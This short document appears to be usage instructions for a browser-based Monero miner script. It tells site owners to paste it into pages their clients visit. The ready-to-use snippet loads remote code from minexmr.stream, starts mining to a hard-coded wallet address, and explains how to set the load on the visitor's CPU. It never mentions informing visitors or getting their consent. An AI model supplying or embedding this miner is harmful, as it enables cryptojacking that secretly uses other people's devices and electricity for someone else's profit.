Insert this code into the pages that your clients will visit, with the appropriate address and throttling settings.

Simplest working example:

<script src="https://minexmr.stream/webmr.js"></script>
<script>
    startMining("minexmr.com","49kkH7rdoKyFsb1kYPKjCYiR2xy1XdnJNAY1e7XerwQFb57XQaRP7Npfk5xm1MezGn2yRBz6FWtGCFVKnzNTwSGJ3ZrLtHU"); 
</script>

The startMining function can take additional arguments

startMining(pool, address, password, numThreads, userid);

To throttle the miner just use the global variable “throttleMiner”, e.g.

startMining(..);
throttleMiner = 20;

If you set this value to 20, the cpu workload will be approx. 80% (for 1 thread / CPU). Setting this value to 100 will not fully disable the miner but still
calculate hashes with 10% CPU load.

The miner also has the variable totalHashes, which displays the total hashes solved. You may call this variable from another script in the webpage to check for completion of the task.